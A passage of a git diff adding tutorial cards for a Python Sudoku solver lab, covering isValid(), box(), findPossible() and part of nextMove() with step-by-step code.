+Within the inner loop, we check if `i`, the current element in `row`, exists inside of `found`. If `i` is indeed inside of `found`, then we return False to indicate that there was a repeated value in the row. Otherwise, we append element `i` into `found` if `i != 0` (because we do not want to append empty spaces).
+
+
+
+Step 3: Create a list to store values read from a column.
+
+
+Moving on to check the next nested for-loop for repeated values in columns, we will initialize an empty list `found` for the same reason as implemented above.
+
+```python
+ # Check that all columns contain no repeats
+ for c in range(0,9):
+ found = []
+ for r in range(0,9):
+```
+
+Then, we will use `i` to assign to `grid[r][c]`to iterate through all values within each column to check for repeats. If `i` (the value within a particular column `c`) is not in `found` and does not equal to 0 (a empty space), then we will append the value to `found`.
+
+```python
+ # Check that all columns contain no repeats
+ for c in range(0,9):
+ found = []
+ for r in range(0,9):
+ i = grid[r][c]
+ if i in found:
+ return False
+ if i != 0:
+ found.append(i)
+
+ return True
+```
+
+At last, we have our final function `isValid()`:
+
+```python
+def isValid(grid):
+ # Check that all rows contain no repeats
+ for row in grid:
+ found = []
+ for i in row:
+ if i in found:
+ return False
+ if i != 0:
+ found.append(i)
+
+ # Check that all columns contain no repeats
+ for c in range(0,9):
+ found = []
+ for r in range(0,9):
+ i = grid[r][c]
+ if i in found:
+ return False
+ if i != 0:
+ found.append(i)
+
+ return True
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/3.md
new file mode 100644
index 00000000..bb1d3165
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/3.md
@@ -0,0 +1,38 @@
+
+
+
+
+
+
+# Working Within a Box
+
+In Sudoku, we must make sure that there are no repeats within each box. This means that the numbers 1-9 should only appear once in each box. A single box is represented in this picture below:
+
+
+
+We will write the function `box()`. This will identify all the elements that are not currently inside a box.
+
+
+This function will take in three arguments:
+
+* the grid (`grid`)
+
+* row index (`r_i`)
+
+* column index (`c_i`)
+
+Keep in mind that there are a total of 9 elements within a 3x3 box. `box()` should return a list that contains all the numbers (anywhere from 1-9) that do **not** already exist in a particular box.
+
+For example, the function header for `box()` will be as follows:
+
+```python
+def box(grid, r_i, c_i):
+```
+
+Considering that a box contains the elements 1, 3, 9, 4, and 5, a sample list returned from `box()` would look like this:
+
+```python
+elements = [2, 6, 7, 8]
+```
+
+> Note: remember that we will neglect 0's since they represent blanks
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/31.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/31.md
new file mode 100644
index 00000000..afff601d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/31.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+# Working Within a Box
+
+
+Since we wish to return elements **not** currently in a box, we need to initialize a list with all the elements that could possibly be in an **empty** box. Then, we need to traverse through this list and remove the elements that cannot be in the **specific** box we are observing.
+
+As a hint, you will need nested for-loops and should keep in mind that the box's dimensions are 3x3.
+
+Step 1: We will initialize a list called `elems`, which will contain the elements 1-9 such that `elems = [1, 2, 3, 4, 5, 6, 7, 8, 9]`.
+
+The reason why we have this list `elems` contain the numbers 1-9 is because each box in a Sudoku board can only contain numbers from 1-9 without repeats. So, we will remove the values in `elems` that exist in the specified box. Returning `elems` will provide a list of numbers still needed within the box to fill in for the empty elements.
+
+Step 2: Create the nested for-loop to run through elements in a box.
+
+Because a box consists of 3 rows and 3 columns composed of 9 values, we will need a nested for-loop. You must be wondering what the range for iterating through our for-loops is. The possible values passed in for `r_i` and `c_i` are in `range(0,3)`, implying that it can be any number from 0, 1, or 2. This is the case because the box is a 3x3 segment in our 9x9 Sudoku board. There are a total of 9 boxes within the Sudoku board.
+
+
+>>> Consider we want to check the first box (the top left box in a Sudoku board). The values of `r_i` and `c_i` passed into the function would be 0 and 0.
+
+For `r` and `c` we would loop from 0 to 2, covering all elements in the first box: (0,0), (0,1), (0,2), (1,0), (1,1), (1,2), (2,0), (2,1), and (2,2).
+
+**Remember that `range(0,3)` means we iterate from 0 to 2, not 0 to 3.**
+
+Step 3: Implement logic inside the nested for-loop.
+All we need to do is implement the logic inside our nested for-loop to remove elements in our `elems` list that exist in the box.
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/311.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/311.md
new file mode 100644
index 00000000..34251223
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/311.md
@@ -0,0 +1,79 @@
+
+
+
+
+
+
+# Working Within a Box
+
+
+Step 1: Define variable to check if the square is empty.
+
+Using a variable, check if the element in the square is empty. If it isn't, then check if the element is in `elems`. If it is, then remove it from `elems`.
+
+Step 2: Append all non-zero elements into `elems`.
+
+With our nested for-loop mechanism to iterate through all the elements inside a specified box, we just need to append all non-zero elements into `elems`. We will first use a variable `e`, denoted as the current element we are indexed at in a box:
+
+```python
+def box(grid,r_i,c_i):
+ elems = list(range(1,10))
+```
+
+
+
+The reason for having this list `elems` that contains numbers 1-9 is because each box in a Sudoku board can *only* contain numbers from 1-9 without repeats. Thus, we will remove values in `elems` that exist in the specified box. Returning `elems` will provide a list of numbers still needed in the box to replace the empty elements.
+
+Step 3: Write a nested-for loop to iterate through the rows.
+
+Remember, since a box consists of 3 rows and 3 columns composed of 9 values, we will need a nested for-loop. You must be wondering, what is the range for iterating through our for-loops? The possible values passed in for `r_i` and `c_i` are in `range(0,3)`, implying that it can be any number from 0, 1, or 2. This is the case because the box is a 3x3 segment in our 9x9 Sudoku board. There are a total of 9 boxes within the Sudoku board. Thus, the range for our for-loops will be defined as such:
+
+```python
+ for r in range(r_i*3,r_i*3+3):
+ for c in range(c_i*3,c_i*3+3):
+```
+
+Now, consider we want to check the first box (the top left box in a Sudoku board). The values of `r_i` and `c_i` passed into the function would be 0 and 0. If we plug that into our for-loops, it would look like this:
+
+````python
+ for r in range(0*3,0*3+3):
+ for c in range(0*3,0*3+3):
+````
+
+We could see that for `r` and `c`, we would loop from 0 to 2 and cover all the elements within the first box: (0,0), (0,1), (0,2), (1,0), (1,1), (1,2), (2,0), (2,1), and (2,2). Remember that `range(0,3)` means we iterate from 0 to 2, not 0 to 3.
+
+Our function will now look like this:
+
+```python
+# This returns all elements in a given box
+def box(grid,r_i,c_i):
+ elems = list(range(1,10))
+ for r in range(r_i*3,r_i*3+3):
+ for c in range(c_i*3,c_i*3+3):
+ # implement logic in here
+```
+
+Step 4: Check if element `e` is a non-zero.
+Given `e`, the current element in our nested for-loop, we will now check if it is a non-zero and exists inside of `elems`. If both cases are true, then we will remove the value, denoted by `e`, from `elems`.
+
+```python
+if e != 0 and e in elems:
+ elems.remove(e)
+```
+Step 5: Return `elems`.
+
+Lastly, we just return `elems` after iterating through our entire nested for-loop, and `box()` is done!
+
+```python
+# This returns all elements in a given box
+# 9 boxes will be iterated.
+def box(grid,r_i,c_i):
+ elems = list(range(1,10))
+ for r in range(r_i*3,r_i*3+3):
+ for c in range(c_i*3,c_i*3+3):
+ e = grid[r][c]
+ if e != 0 and e in elems:
+ elems.remove(e)
+ return elems
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/4.md
new file mode 100644
index 00000000..11ef4a67
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/4.md
@@ -0,0 +1,62 @@
+
+
+
+
+
+
+# findPossible() Function
+
+In Sudoku, we are able to replace an empty square if we've eliminated all other possible values that can't be a repeat. We can find the possible values for an empty square by checking all existing numbers within the same box, row, and column of the square.
+
+Given that we are on a square (1 out of 81) in our Sudoku board, let's go through the following steps.
+
+Step 1: Write the function `findPossible()`, which finds all possible values for a square by eliminating numbers already in the box, row, and column it's in.
+
+Let's take the grid we looked at earlier as an example:
+
+```python
+ 9 4 _ | _ 2 _ | 7 _ _ # the underscores (_) represent
+ _ _ 1 | _ _ 4 | _ _ 9 # blanks/empty on the Sudoku board
+ _ _ 6 | _ _ _ | 1 2 _
+ ------|-------|-------
+ _ _ _ | _ _ 3 | _ 1 _
+ 1 _ _ | _ _ _ | _ _ 8
+ _ 7 _ | 5 _ _ | _ _ _
+ ------|-------|-------
+ _ 8 7 | _ _ _ | 2 _ _
+ 6 _ _ | 9 _ _ | 3 _ _
+ _ _ 9 | _ 8 _ | _ 5 7
+```
+
+If we call our `findPossible` function on the third element of the first row, we need to return values that could *possibly* correctly fill the spot. Observing the element's row, we see that our missing element cannot be a `9`, `4`, `2`, or `7`. Observing its column, we see that our missing element cannot be a `1`, `6`, `7`, or `9`. Observing the square that the element is located in, we see that our missing element cannot be a `9`, `4`, `1`, or `6`. This leaves only `3` and `8` as possible values for the spot.
+
+Let's take the grid we looked at earlier as an example:
+
+```python
+ 9 4 _ | _ 2 _ | 7 _ _ # the underscores (_) represent
+ _ _ 1 | _ _ 4 | _ _ 9 # blanks/empty on the Sudoku board
+ _ _ 6 | _ _ _ | 1 2 _
+ ------|-------|-------
+ _ _ _ | _ _ 3 | _ 1 _
+ 1 _ _ | _ _ _ | _ _ 8
+ _ 7 _ | 5 _ _ | _ _ _
+ ------|-------|-------
+ _ 8 7 | _ _ _ | 2 _ _
+ 6 _ _ | 9 _ _ | 3 _ _
+ _ _ 9 | _ 8 _ | _ 5 7
+```
+
+
+
+The function will take in the same three arguments previously implemented in `box()`: the grid (`grid`), a row index (`r_i`), and a column index (`c_i`). The function header will then be defined as such:
+
+```python
+def findPossible(r_i, c_i, grid):
+```
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/41.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/41.md
new file mode 100644
index 00000000..fa0c9c11
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/41.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+# findPossible() Function
+
+
+As mentioned earlier, `findPossible()` will result in a list of possible valid values for a spot by observing the given spot's row, column, and nonet.
+
+Step 1: Confirm that the current square we are on is the number '0'. All squares that are empty will hold the value 0.
+
+Step 2: Build a list called `possible` to hold values from 0 to 9. As we search through the rows, columns, and within the box, we will remove values in `possible` that are found.
+
+
+Given that we have `r_i` and `c_i`, or the location of our square, we can use this information to iterate through the same row, column, and box to search for values with a for-loop.
+
+Step 3: Create for-loop
+ * We will have a total of four for-loops: one for-loop to search through all values in the same row, one for-loop to search through all values in the same column, and two for-loops to search through all values within the same box as our square.
+
+
+Here are some hints and conditions that you should keep in mind while trying to implement this function:
+
+* If a spot is **not** blank, a value has already been placed, so there are no "possible" values to find. Therefore, we will simply return an empty list to indicate that there are no possible values for our current square (`r_i`, `c_i`):
+* We need to store all possible values and find a way to remove values that are invalid so that only possible values remain.
+* We are given `r_i` and `c_i`. This is the location of the target square. We can use this to iterate through the same row, column, and box. When going through the row, column, and box, remember the dimensions of each box and the board as a whole.
+
+The final list `possible` will only contain all POSSIBLE values that our empty square could be replaced with.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/411.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/411.md
new file mode 100644
index 00000000..b46370ca
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/411.md
@@ -0,0 +1,154 @@
+
+
+
+
+
+
+# findPossible() Function
+
+Step 1: Confirm that the current square is '0'.
+
+The first step is to confirm that the current square we are on is the number '0'. Otherwise, we do not need to find possible values for it, as it would be filled already:
+
+```python
+def findPossible(r_i, c_i, grid):
+ if grid[r_i][c_i] == 0:
+```
+
+Step 2: `grid[r_i][c_i]` != 0 return an empty list.
+If `grid[r_i][c_i]` does not equal 0, then the square already has a value, so we don't need to find possible values for it! Therefore, we will simply return an empty list to indicate that there are no possible values for our current square (`r_i`, `c_i`):
+
+```python
+def findPossible(r_i, c_i, grid):
+ if grid[r_i][c_i] == 0:
+ # Implement logic here for finding possible values
+ else:
+ return []
+```
+
+Step 3: Search through the boxed and eliminate duplicate values.
+
+We know that we can fill the empty square if we deduce that it can't have any of the values within the same box, row, or column. Thus, we will search through those areas respectively and eliminate those values. Similar to our implementation of `box()`, we can build a list called `possible`, which will hold values from 0 to 9. As we search through the rows, columns, and within our box, we will remove values found in `possible`.
+
+First, we will initialize `possible` as such:
+
+```python
+possible = list(range(1,10))
+```
+
+Step 4: Write four for-loops to iterate through the same row, column, and box in order to search values.
+
+Given that we have `r_i` and `c_i`, the location of our square, we can use this information to iterate through the same row, column, and box to search for values using a for-loop.
+
+We will have a total of four for-loops: one for-loop to search through all the values in the same row, one for-loop to search through all the values in the same column, and two for-loops to search through all the values within the same box as our square. This will be the structure of the necessary for-loops:
+
+```python
+def findPossible(r_i, c_i, grid):
+ if grid[r_i][c_i] == 0:
+ possible = list(range(1,10))
+ for c in range(0,9):
+ # Implement logic here to find all values in same row
+ for r in range(0,9):
+ # Implement logic here to find all values in same column
+ for r in range(0+r_i//3*3,r_i//3*3+3):
+ for c in range(0+c_i//3*3,c_i//3*3+3):
+ # Implement logic here to find all values within box
+ else:
+ return []
+```
+
+Notice that for the nested for-loop needed to search for our box, we use `range(0+r_i//3*3, r_i//3*3+3)` and `range(0+c_i//3*3, c_i//3*3+3)`, allowing us to check all of the elements within our box. Suppose that we find all possible values in our box given that we are on the square at (3, 3). Then, `r_i` = 3 and `c_i` = 3. Thus, our range would be:
+
+```python
+for r in range(0+3//3*3, 3//3*3+3):
+ for c in range(0+3//3*3, 3//3*3+3):
+```
+
+This would evaluate to:
+
+```python
+for r in range(3, 6):
+ for c in range(3, 6):
+```
+
+So, we would check these squares: (3, 3), (3, 4), (3, 5), (4, 3), (4, 4), (4, 5), (5, 3), (5, 4,), (5, 5). This covers all squares within the same box as (3, 3). and is similar to the loops used for `box()`.
+
+The final list `possible` will only contain all POSSIBLE values that our empty square could be replaced with.
+
+Step 5: Implement final logic to traverse through the row, column and box.
+
+Now all that's left is to implement the logic needed to traverse through the row, column, and box of the square to eliminate already-existing values.
+
+
+Step 6: Define variable `e`.
+
+To check for all values within the same row of the square, we will define a variable `e`. This variable will be assigned to each value in the same row as our square (`r_i`, `c_i`) to be removed from `possible` if `e` is not equal to 0 and exists in `possible`:
+
+```python
+# Row
+for c in range(0,9):
+ e = grid[r_i][c]
+ if e != 0 and e in possible:
+ possible.remove(e)
+```
+
+Notice that `r_i` is fixed while we iterate through `c` from 0 to 8 to cover all values within the same row (`r_i`) as our square.
+
+Step 7: Find values that exist in the same column as our square.
+
+Similarly, we will apply the same logic to find all the values (to be removed from `possible`) within the same column as our square:
+
+```python
+# Col
+for r in range(0,9):
+ e = grid[r][c_i]
+ if e != 0 and e in possible:
+ possible.remove(e)
+```
+
+The only difference is that we will be iterating from 0 to 8 through `r` to cover all values within the same column (`c_i`) as our square.
+
+Step 8: Iterate through the values defined in the range for `r` and `c` as `e=grid[r][c]`.
+
+Lastly, we will be checking through all values within the same box as our square. Since we already have the implementation for our nested for-loop, we just iterate through values defined by our range for both `r` and `c` such that `e = grid[r][c]`:
+
+```python
+# Box
+for r in range(0+r_i//3*3,r_i//3*3+3):
+ for c in range(0+c_i//3*3,c_i//3*3+3):
+ e = grid[r][c]
+ if e != 0 and e in possible:
+ possible.remove(e)
+```
+
+Step 9: Return `possible`.
+
+After searching for all possible values by eliminating existing values within the same row, column, and box from `possible`; we will just return `possible`. This list will only contain values that can be used in our current square (`r_i`, `c_i`). Then, our final `findPossible()` function will look like this:
+
+```python
+# This finds all possible values for a square by eliminating those in the box that
+# it's in, the row, and the column (naive)
+def findPossible(r_i, c_i, grid):
+ if grid[r_i][c_i] == 0:
+ possible = list(range(1,10))
+ # Row
+ for c in range(0,9):
+ e = grid[r_i][c]
+ if e != 0 and e in possible:
+ possible.remove(e)
+ # Col
+ for r in range(0,9):
+ e = grid[r][c_i]
+ if e != 0 and e in possible:
+ possible.remove(e)
+ # Box
+ for r in range(0+r_i//3*3,r_i//3*3+3):
+ for c in range(0+c_i//3*3,c_i//3*3+3):
+ e = grid[r][c]
+ if e != 0 and e in possible:
+ possible.remove(e)
+ return possible
+ else:
+ return []
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/5.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/5.md
new file mode 100644
index 00000000..0fcf068b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/5.md
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+# nextMove()
+
+Moving on to the meat of our Sudoku Solver, you will now write the `nextMove()` function, which will attempt to find the next move to solve an empty square. This function will take in four arguments:
+
+- the grid (`grid`)
+- a Boolean `silent`
+- an integer `depth`
+- a Boolean `finish`
+
+Evidently, you know that `grid` is our Sudoku board. But, for the other arguments, we have `silent` to determine if it prints out the move it makes or not. If we've successfully found a valid move, the function will trigger `silent` to be True and let us print what that move was. `depth` is an integer intially set to 0 and determines if it can try guessing. If `depth` is less than 2, then guessing a move is permitted. Finally, our `finish` Boolean, initially False, is only set to True if we have a solution enabling us to finish the grid to solve our Sudoku problem. The function header will be defined as such:
+
+```python
+def nextMove(grid,silent=False,depth=0,finish=False):
+```
+
+
+
+As for defining this function, we will be using it in conjunction with our `findPossible()` function. To provide insight on the function's structure, we will break it down into three possible clauses:
+
+- 1) An easy iteration through all spots, checking if only one value can exist for a particular square.
+- 2) Checking by number: within each number, we will check by row, column, and box.
+- 3) Guessing clause, which will be the back-up guessing and checking mechanism (this segment uses a function called `testPossible()`, which is currently undefined).
+
+Since we will be defining `testPossible()` later, context for this function will be provided. The premise behind the function `testPossible()` is that:
+
+- It checks if it can find a solution given a `grid`, and then a row-column pair with a value to try.
+- If it finds a solution and `finish` is true, then it sets the `grid` to the solution to speed it up.
+
+For this function, we will also be printing a particular prompt to display the move made for the user. This is to see that it is derived from each of the clauses listed above. Here are some examples:
+
+- If the first clause found the next move, then this should be printed:
+ - `(8,9) -> 1 [Only possible]`
+- If the second clause found the next move, then there are 3 possible options:
+ - If found in row: `(3,9) -> 4 [Only in row]`
+ - If found in column: `(9,2) -> 1 [Only in column]`
+ - If found in box: `(6,9) -> 3 [Only in box]`
+- If the third clause found the next move, then this would be printed:
+ - `(7,9) -> 6 [Guessing and checking]`
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/51.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/51.md
new file mode 100644
index 00000000..1269d11d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/51.md
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+# nextMove()
+
+Step 1: Initialize Boolean variable `boolean` and set to `False`.
+
+Following our function header, we will first initialize another local Boolean variable called `foundMove`, which will be set to `False` until we have found a move in one of our three clauses. Thus, we will have this:
+
+```python
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+```
+
+
+Step 2: Write a nested for-loop, iterate through all spots, and check if values are unique.
+
+For our first clause, we will start with the easy case, iterating through all spots to check if there is only one possible value to replace an empty square. Thus, we will need a nested for-loop that iterates through all possible square (totaling 81). It will look like this:
+
+```python
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ # Implement logic here to find possible move
+```
+
+
+Step 3: Use `findPossible()` to find all possible answers for an empty square.
+
+Remember that we will be using our `findPossible()` function to aid us in finding an answer for any and every empty square if possible. If we find a move, then print the value to be in place for the current square as seen in this example: `(8,9) -> 1 [Only possible]`
+
+
+
+As of now, our function looks like this:
+
+```python
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ # Implement logic here to find possible move
+```
+
+Step 4: Implement the remaining logic.
+
+All that's left for this clause is to implement the remaining logic in the case of finding a possible value via `findPossible()`. Otherwise, you will output nothing and just move on to clause 2.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/511.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/511.md
new file mode 100644
index 00000000..35a1ee52
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/511.md
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+# nextMove()
+
+Step 1: Define a variable `possible`.
+
+We will simply define a variable `possible`, which will be assigned to the function `findPossible()`. Thus, `possible` will be assigned the list of available values (for our current square) returned from the function:
+
+```python
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+```
+
+
+Step 2: Iterate through each row and column.
+
+When iterating through all rows and columns to cover each square, we can check every square to see if possible values exist. This case is true if `possible` only contains one element because that element is the only value that can fill the current empty square! So, we will check if the length of `possible` is equal to 1:
+
+```python
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+ if len(possible) == 1:
+```
+
+Step 3: Use Booleans `foundMove` and `silent`.
+
+If `len(possible) == 1` evaluates to `True`, then we know a move has been found! Thus, we will apply our logic using our Booleans `foundMove` and `silent` to print out the result:
+
+```python
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+ # Easy iteration through all spots, checking if clearly only one
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+ if len(possible) == 1:
+ if not foundMove:
+ if not silent:
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
+ grid[r_i][c_i] = possible[0]
+ foundMove = True
+```
+
+Step 4: Print the prompt for the clause and set `foundMove = True`.
+
+Since we know that `len(possible) == 1`, then the next if statement nested inside is `if not foundMove`, which will evaluate to `True` if `foundMove` is initially `False`. Following that is another nested if statement, `if not silent`, which evaluates to `True` since `silent` is initially `False`. All we have left to do is print the prompt for this clause and then set `foundMove = True`.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/52.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/52.md
new file mode 100644
index 00000000..58bf31d0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/52.md
@@ -0,0 +1,128 @@
+
+
+
+
+
+
+# nextMove()
+
+Step 1: Check by number.
+
+Now, let's go on to our second clause, where we will check by number. This segment of our function will be broken down into three parts. We will evaluate by column, row, and box. For each of the possible numbers in Sudoku, we will loop through values 0 to 9 and check to see if that value is possible (by using `findPossible()` ) for each row, column, and box. First, we need to check if `foundMove` is `False`; if so, we iterate through the possible values as such:
+
+```python
+ # Check by number
+ if not foundMove:
+ for n in range(1,10):
+```
+
+
+
+Here are some hints for our three conditions within this clause:
+
+- 1) Check by row:
+
+ - This will consist of a nested for-loop iterating through rows to check if any empty square can be replaced with a value from 0 to 9.
+
+ - If so, then store the row-column pair of that square and assign it the current number.
+
+ - The basic structure for this check is shown below:
+
+ - ```python
+ if not foundMove:
+ for r_i in range(0,9):
+ m = []
+ for c_i in range(0,9):
+ # Implement checking logic here for each row
+ ```
+
+ > Note: If the current number `n` exists within the list returned from `findPossible() `, then we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
+
+- 2) Check by column:
+
+ - This will consist of a nested for-loop iterating through columns to check if any empty square can be replaced with a value from 0 to 9.
+
+ - If so, then store the row-column pair of that square and assign it the current number.
+
+ - The basic structure for this check is shown below:
+
+ - ```python
+ if not foundMove:
+ for c_i in range(0,9):
+ m = []
+ for r_i in range(0,9):
+ # Implement checking logic here for each column
+ ```
+
+ > Note: If the current number `n` exists within the list returned from `findPossible() `, then we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
+
+- 3) Check by box:
+
+ - This will consist of two nested for-loops:
+
+ - The first nested for-loop will iterate through all squares within a single box to see if the current number is a possible value that does not yet exist within the box (via `box()`).
+ - If the current number is a possible value (from 0 to 9), within the square for that box, the second nested for-loop will iterate through all the squares within the box and use `findPossible()` to determine if the current number can still fill in the empty square.
+
+ - The basic structure for this check is shown below:
+
+ - ```python
+ # Check by box
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ # Implement logic here to check for `n` inside a box
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+ # Implement logic here to to check if 'n' is
+ # valid at the particular square
+ ```
+
+ > Note: If the current number `n` exists inside the box `b` returned from `box()`, the next nested for-loop will check if `n` exists within the list returned from `findPossible() `. Then, we will append the row, column pair (`r_i`, `c_i`) into the initially empty list `m`.
+
+
+
+
+
+The structure of our function will now look like this:
+
+```python
+def nextMove(grid,silent=False,depth=0,finish=False):
+ foundMove = False
+ # Easy iteration through all spots, checking if clearly only one
+ for r_i in range(0,9):
+ for c_i in range(0,9):
+ possible = findPossible(r_i,c_i,grid)
+ if len(possible) == 1:
+ if not foundMove:
+ if not silent:
+ print("(" + str(r_i+1) + "," + str(c_i+1) + ") -> " + str(possible[0]) + " [Only possible]")
+ grid[r_i][c_i] = possible[0]
+ foundMove = True
+
+ # Check by number
+ if not foundMove:
+ for n in range(1,10):
+ # Check by row
+ if not foundMove:
+ for r_i in range(0,9):
+ m = []
+ for c_i in range(0,9):
+
+ # Check by column
+ if not foundMove:
+ for c_i in range(0,9):
+ m = []
+ for r_i in range(0,9):
+
+ # Check by box
+ if not foundMove:
+ for b_r in range(0,3):
+ for b_c in range(0,3):
+ #
+ if n in b:
+ m = []
+ for r in range(b_r*3,b_r*3+3):
+ for c in range(b_c*3,b_c*3+3):
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/521.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/521.md
new file mode 100644
index 00000000..0852278d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/521.md
@@ -0,0 +1,210 @@
+
+
+
+
+
+
+# nextMove()
+
+Step 1: Use `findPossible(r_i, c_i, grid)`.
+
+Working through the first condition of checking by row, we will use `findPossible(r_i, c_i, grid)` to determine if our current number `n` exists within it. If yes, then we will append the square we checked (`r_i`, `c_i`) into our list `m`:
+
+```python
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+```
+
+Step 2: Check if the length of `m` is equal to one.
+
+Then, we will check if the length of `m` is equal to one, as this tells us that our current number `n` is the only value that can fill our empty square stored in `m`.
+
+
+Step 3: Confirm if `foundMove` is `not False`.
+
+We also must confirm that `foundMove` is still `not False` (which is the same as True) since we have not found our first next move:
+
+```python
+ if len(m) == 1 and not foundMove:
+```
+
+Step 4: Check `if not silent`.
+
+If the above is evaluated `True`, then we will check `if not silent:` in order for us to print the prompt stating that we've made our next move and what it was.
+
+
+Step 5: Assign `n` to the empty square in `m`.
+
+ Then, we need to assign the current number `n` to the empty square in `m` within our `grid` and set `foundMove` to `True`:
+
+```python
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+```
+
+Overall, our final first condition (checking by row) in our check number clause will look like this:
+
+```python
+ # Check by row
+ if not foundMove:
+ for r_i in range(0,9):
+ m = []
+ for c_i in range(0,9):
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in row]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+```
+
+
+
+The next condition in our check by row clause, which is check by column will be implemented the same way as above except for flipping the for-loops. Then, all we need to change is the print statement, as we found this by checking each column. Therefore, the final second condition for this clause will look like this:
+
+```python
+ # Check by column
+ if not foundMove:
+ for c_i in range(0,9): # only difference
+ m = []
+ for r_i in range(0,9): # is flipping these for-loops
+ if n in findPossible(r_i,c_i,grid):
+ m.append((r_i,c_i))
+ if len(m) == 1 and not foundMove:
+ if not silent:
+ print("(" + str(m[0][0]+1) + "," + str(m[0][1]+1) + ") -> " + str(n) + " [Only in column]")
+ grid[m[0][0]][m[0][1]] = n
+ foundMove = True
+```
+
+
+
